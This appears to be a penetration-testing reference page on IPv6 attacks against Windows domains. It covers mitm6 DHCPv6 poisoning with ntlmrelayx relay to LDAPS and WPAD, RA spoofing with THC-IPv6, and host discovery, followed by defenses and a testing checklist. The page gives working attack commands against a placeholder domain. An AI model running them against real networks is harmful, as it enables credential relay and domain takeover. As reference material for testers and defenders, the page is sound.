IPv6 Attacks

IPv6 is enabled by default on Windows and many modern systems, but almost nobody configures, filters, or monitors it. That combination —present but unattended— makes it an excellent vector: the attacker uses IPv6 to pose as the network’s DHCPv6/DNS server, intercept traffic and, in Windows environments, set up one of the most reliable AD-compromise chains (mitm6 + ntlmrelayx). “We don’t use IPv6” doesn’t mean it’s off.

Why it’s such a good vector

Windows hosts prefer IPv6 over IPv4 and, at boot, look for IPv6 configuration (DHCPv6) and resolve names. If nobody legitimately answers over IPv6 (the norm on “IPv4-only” networks), the attacker answers first and becomes the victims’ IPv6 DNS/gateway —without touching the existing IPv4 configuration, stealthily.

Red Team — mitm6 + relay (the star chain in AD)

# 1) mitm6 answers DHCPv6 requests -> becomes the victims' IPv6 DNS
mitm6 -d target.local
# 2) ntlmrelayx receives the authentication and relays it (LDAP/SMB/AD CS)
ntlmrelayx.py -6 -t ldaps://dc.target.local -wh fakewpad.target.local --delegate-access
# result: victims authenticate to the attacker -> relay -> RBCD/creds (see ad-ntlm)

Combined with WPAD (auto-proxy), it forces browsers/services to authenticate → capture/relay of domain credentials. It’s the chain documented by Dirk-jan Mollema and one of the most effective ways to go from “I’m on the LAN” to compromising the domain.

Other IPv6 attacks

# Router Advertisement (RA) spoofing: pose as the IPv6 router
# -> MITM of IPv6 traffic (similar to ARP spoofing in IPv4)
# tools: THC-IPv6 (fake_router6, parasite6, etc.)
# IPv6 host discovery (the space is huge -> by multicast/neighbor)
ping6 ff02::1%eth0        # all link nodes
nmap -6 <address>

The IPv6 address space is gigantic, so brute-force scanning doesn’t work; hosts are discovered via link-local multicast, NDP, and DNS records.

For the defense

If you don’t use IPv6, disable it properly (ignoring it isn’t enough) or filter it.
RA Guard and DHCPv6 Guard on switches: block unauthorized RA/DHCPv6 (cuts mitm6/RA spoofing).
Disable WPAD (a wpad DNS entry) and, in AD, LLMNR/NBT-NS (see LLMNR / NBT-NS / mDNS Poisoning).
Enforce SMB/LDAP signing + channel binding: breaks relay even if they capture the authentication (see NTLM Relay).
Monitor anomalous DHCPv6/NDP and authentications to unexpected hosts.
Treat IPv6 with the same controls as IPv4 (firewall, segmentation, monitoring): parity is the key.

Testing checklist

Is IPv6 active on the hosts (even if “unused”)?
mitm6 to become the victims’ IPv6 DNS
ntlmrelayx -6 toward LDAP/SMB/AD CS (see NTLM Relay)
WPAD to force authentication
RA spoofing / THC-IPv6 for IPv6 MITM
IPv6 host discovery (multicast/NDP)
Blue: RA Guard/DHCPv6 Guard, signing, IPv6 filtered?
Document the chain to impact (domain)